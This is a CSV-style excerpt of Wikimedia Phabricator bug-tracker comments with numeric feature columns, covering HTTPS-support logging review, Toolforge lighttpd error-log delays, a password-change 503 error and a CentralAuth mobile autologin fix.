+",,,1426038601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+424290,Review HttpsSupport logging code for re-deployment,"Change 195817 merged by jenkins-bot:
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195817]]",,,1426038518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424282,Review HttpsSupport logging code for re-deployment,"Change 195817 had a related patch set uploaded (by Krinkle):
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195817]]
+",,,1426037006,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+419557,Review HttpsSupport logging code for re-deployment,"This ticket can be made public. Background: This data collection is part of preparing for a decision on the default HTTPS configuration across wikis, so we get a better sense of failure rates with different clients / in different geographies.",,,1425334858,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+419538,Review HttpsSupport logging code for re-deployment,Why is this still being handled as a security issue?,,,1425333380,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+419502,Review HttpsSupport logging code for re-deployment,{F52646},,,1425330970,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+417459,Review HttpsSupport logging code for re-deployment,I don't think this needs to be private. Erik said in the relevant email thread that the sitewide HTTPS-by-default project is not private.,,,1424915689,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+417452,Review HttpsSupport logging code for re-deployment,"I read the code, it seems OK, although I didn't rigorously verify every line since I'm not very familiar with this sort of JavaScript at the moment. Ori's theory for controlling systematic errors seems sound.",,,1424915182,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,True,,,-18,True,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+87562,Shorten update interval of lighttpd error logs,"Tool error and access log files (~sometool/error.log, ~sometool/access.log) are currently updated apparently in fixed intervals, so information appears in the logs a few minutes after errors happen. This makes debugging web programming stuff or lighttpd configuration problems a pain.
+
+Either the update interval (or buffering limit, or whatever causes it) should be decreased, or there should be some way to access the tool error log directly.",Needs Triage,90.0,1422277333,1428307018.0,PHID-USER-zzbdvschb2zxhrxixhcr,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-fatfiflitno2tuzvuchf,task_description,resolved,True,c3,1,False,False,True,-23,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+438780,Shorten update interval of lighttpd error logs,"I assume this is resolved by fulfilling ""there should be some way to access the tool error log directly"".",,,1428307018,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+406182,Shorten update interval of lighttpd error logs,"valhallasw: works for me, thanks.",,,1422980610,,PHID-USER-zzbdvschb2zxhrxixhcr,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+403164,Shorten update interval of lighttpd error logs,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there.
+
+First, find the host using qstat:
+
+```
+tools.gerrit-patch-uploader@tools-login:~$ qstat -xml
+<?xml version='1.0'?>
+<job_info  xmlns:xsd=""http://gridengine.sunsource.net/source/browse/*checkout*/gridengine/source/dist/util/resources/schemas/qstat/qstat.xsd?revision=1.11"">
+  <queue_info>
+    <job_list state=""running"">
+      <JB_job_number>7233076</JB_job_number>
+      <JAT_prio>0.32253</JAT_prio>
+      <JB_name>lighttpd-gerrit-patch-uploader</JB_name>
+      <JB_owner>tools.gerrit-patch-uploader</JB_owner>
+      <state>r</state>
+      <JAT_start_time>2015-01-11T18:46:18</JAT_start_time>
+      <queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name>
+      <slots>1</slots>
+    </job_list>
+  </queue_info>
+  <job_info>
+  </job_info>
+</job_info>
+```
+
+Where the `<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> ` line tells you it's running on tools-webgrid-02. 
+
+Then you can ssh and tail:
+```
+$ ssh tools-webgrid-02 tail -f error.log
+(...new log entries will appear here instantaneously...)
+```
+",,,1422279246,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+403162,Shorten update interval of lighttpd error logs,"This is probably because this is an NFS mount, which means updates can take a while. If you want quicker updates, you can ssh to the relevant -webgrid node, and tail the error log there:
+
+```
+tools.gerrit-patch-uploader@tools-login:~$ qstat -xml
+<?xml version='1.0'?>
+<job_info  xmlns:xsd=""http://gridengine.sunsource.net/source/browse/*checkout*/gridengine/source/dist/util/resources/schemas/qstat/qstat.xsd?revision=1.11"">
+  <queue_info>
+    <job_list state=""running"">
+      <JB_job_number>7233076</JB_job_number>
+      <JAT_prio>0.32253</JAT_prio>
+      <JB_name>lighttpd-gerrit-patch-uploader</JB_name>
+      <JB_owner>tools.gerrit-patch-uploader</JB_owner>
+      <state>r</state>
+      <JAT_start_time>2015-01-11T18:46:18</JAT_start_time>
+      <queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name>
+      <slots>1</slots>
+    </job_list>
+  </queue_info>
+  <job_info>
+  </job_info>
+</job_info>
+```
+
+Where the `<queue_name>webgrid-lighttpd@tools-webgrid-02.eqiad.wmflabs</queue_name> ` line tells you it's running on tools-webgrid-02. Then,
+```
+$ ssh tools-webgrid-02 tail -f error.log
+(...new log entries will appear here instantaneously...)
+```
+",,,1422278182,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fatfiflitno2tuzvuchf,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+87305,Users are unable to change account password (HTTP 503),"https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%A4%D0%BE%D1%80%D1%83%D0%BC/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9#.D0.9F.D1.80.D0.BE.D0.B1.D0.BB.D0.B5.D0.BC.D0.B0_.D0.BF.D1.80.D0.B8_.D1.81.D0.BC.D0.B5.D0.BD.D0.B5_.D0.BF.D0.B0.D1.80.D0.BE.D0.BB.D1.8F
+
+- After clicking on the ""Login"" button and enter the password, the system offers me to change your password
+- I change password
+- after pressing the ""Set password and log"" the following 503 error.
+So for several days.
+Prior to that, in Wikipedia have not worked from 2013, but now decided to try.
+Username: kisvadim
+
+Tried different browsers, different computers, and under Linux and under Windows. All the same. Something happened to see with account
+
+---
+
+If you report this error to the Wikimedia System Administrators, please include the details below. 
+Request: POST http://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%A1%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C_%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C, from 10.20.0.146 via cp1066 cp1066 ([10.64.0.103]:3128), Varnish XID 3254153861 
+Forwarded for: 195.130.209.78, 91.198.174.65, 91.198.174.65, 10.20.0.146 
+Error: 503, Service Unavailable at Sun, 18 Jan 2015 06:01:56 GMT
+
+---
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.
+Request: POST http://www.wikidata.org/wiki/Special:ChangePassword, from 91.198.174.61 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2385829888
+Forwarded for: 5.164.222.248, 10.20.0.146, 10.20.0.146, 91.198.174.61
+Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:30:08 GMT
+
+---
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.
+Request: POST http://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%A1%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C_%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C, from 91.198.174.82 via :: cp3012 cp3012 ([91.198.174.82]:3128), Varnish XID 3303621316
+Forwarded for: 5.164.222.248, 91.198.174.82, 91.198.174.82
+Error: 503, Service Unavailable at Mon, 19 Jan 2015 18:43:53 GMT
+
+---
+almost like a https://phabricator.wikimedia.org/T75462 but it is already fixed",Needs Triage,90.0,1421823849,1421988382.0,PHID-USER-5joeladhczukimiv4rwl,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-rmczrlxfhpv25i6dniyw,task_description,resolved,True,c3,1,False,False,True,-24,True,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0
+402411,Users are unable to change account password (HTTP 503),">>! In T87305#990614, @Sunpriat wrote:
+> Confirm, that problem is fixed. The user succeeded log in. Thank you.
+
+Nice :)",,,1421988382,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+402412,Users are unable to change account password (HTTP 503),"I confirm, that problem is fixed. The user succeeded log in. Thank you.",,,1421988408,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+402410,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. The user succeeded log in. Thank you.",,,1421988281,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+402409,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. The user succeeded enter. Thank you.",,,1421988224,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+402408,Users are unable to change account password (HTTP 503),"Confirm, that problem is fixed. Thank you.",,,1421988137,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+402310,Users are unable to change account password (HTTP 503),"Is this a problem for anyone still? If not, I'd vote to close this bug.",,,1421951311,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-23,True,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+402100,Users are unable to change account password (HTTP 503),hoo removed the code in https://gerrit.wikimedia.org/r/#/c/186132/,,,1421862233,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+402097,Users are unable to change account password (HTTP 503),"Jan 18 06:01:51 mw1018:  #012Fatal error: Call to undefined method CentralAuthUser::getPasswordHash() in /srv/mediawiki/wmf-config/Bug54847.php on line 130
+",,,1421862002,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+402095,Users are unable to change account password (HTTP 503),@hoo thought this was related to the forced labsdb password resets.,,,1421861735,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-rmczrlxfhpv25i6dniyw,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+87290,CentralAuth AutoLogin not working from mobile site Main Pages,"If I log out of all the WMF sites (or just delete all my cookies), and then log into http://en.m.wikipedia.org, I am automatically logged into the other desktop and mobile Wikipedias, but not the other projects (Commons, Wiktionary, etc.).
+
+Steps to reproduce:
+1. Open a totally fresh browser (or delete cookies)
+2. Go to https://en.m.wikipedia.org/wiki/Main_Page
+3. Log in
+4. Go to https://commons.m.wikimedia.org/wiki/Main_Page
+
+Expected result: You are also logged in on Commons
+
+Actual result: You are not logged in on Commons
+
+This only happens on the Main Pages as appears to be caused by CentralAuth's 1x1 images not loading on those pages.
+
+Expected result: You should be logged in.
+
+Actual result: You are not logged in.",Needs Triage,90.0,1421803745,1423704880.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,PHID-USER-yu5wnmvkjecufsjgh2fa,False,PHID-TASK-zahrcqaapno4kaxpwpqf,task_description,resolved,True,c3,1,False,False,True,-24,True,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+410298,CentralAuth AutoLogin not working from mobile site Main Pages,"Want to make sure this doesn't significantly affect the formatting of the Main Page. Here's a screenshot of the English Wikipedia Main Page before the change (in Firefox):
+
+{F39480}",,,1423702540,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+410052,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189145 merged by jenkins-bot:
+Wrap 1x1 images in a div so that MobileFrontend can ignore them
+
+[[https://gerrit.wikimedia.org/r/189145]]",,,1423678984,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+408952,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189154 merged by MaxSem:
+Making MobileFormatter preserve the CentralAuth 1x1 images
+
+[[https://gerrit.wikimedia.org/r/189154]]",,,1423521272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+408125,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189154 had a related patch set uploaded (by Kaldari):
+Making MobileFormatter preserve the CentralAuth 1x1 images
+
+[[https://gerrit.wikimedia.org/r/189154]]
+
+#patch-for-review",,,1423272613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+408097,CentralAuth AutoLogin not working from mobile site Main Pages,"Change 189145 had a related patch set uploaded (by Kaldari):
+Wrap 1x1 images in a div so that MobileFrontend can ignore them
+
+[[https://gerrit.wikimedia.org/r/189145]]
+
+#patch-for-review",,,1423270266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+408081,CentralAuth AutoLogin not working from mobile site Main Pages,"I'm going to go ahead and have parseMainPage() ignore them for now, but I think a better long-term solution would be to move the images out of the page content. Perhaps CentralAuth should use the SkinAfterContent hook instead of the BeforePageDisplay hook.",,,1423269202,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+408047,CentralAuth AutoLogin not working from mobile site Main Pages,"@MaxSem: Actually my 2nd solution wouldn't work well anyway, since it would cause parseMainPage() to built a bunch of extra DOM elements around the images. Unfortunately, the images aren't wrapped in anything; they're just appended at the bottom of the content. So to make parseMainPage() ignore them, we would have to use a hacky regex. We could put the 1x1 images into a div with a special id, like ""central-auth-images"", and have parseMainPage() explicitly preserve that div, but it's a bit weird and fragile for MobileFrontend to explicitly look for a div created by another extension.",,,1423265555,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,1
+408040,CentralAuth AutoLogin not working from mobile site Main Pages,Make parseMainPage() not touch it?,,,1423264885,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+408038,CentralAuth AutoLogin not working from mobile site Main Pages,"So I think what's happening here is that CentralAuth is inserting the images into the bottom of the content of the Main Page, then MobileFormatter::parseMainPage() is reconstructing the Main Page and not including the CentralAuth images.
+
+There are two possible solutions:
+1. Have CentralAuth insert the images somewhere besides the actual article content, e.g. in the footer
+2. Have CentralAuth wrap the images in a div with an id that starts with 'mf-' (which prevents parseMainPage from removing it)",,,1423264379,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
